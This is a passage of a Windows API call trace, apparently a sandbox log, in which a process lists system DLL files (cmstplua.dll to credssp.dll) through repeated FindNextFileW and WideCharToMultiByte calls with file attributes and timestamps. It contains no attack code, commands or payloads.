ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.703] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.703] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.703] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x49c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0180.703] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.704] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.704] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.704] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.704] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.704] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.704] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.704] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.704] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.705] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.705] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.705] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.705] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.705] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.705] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x49c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0180.705] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0180.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.706] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.706] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.706] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x49c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0180.706] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 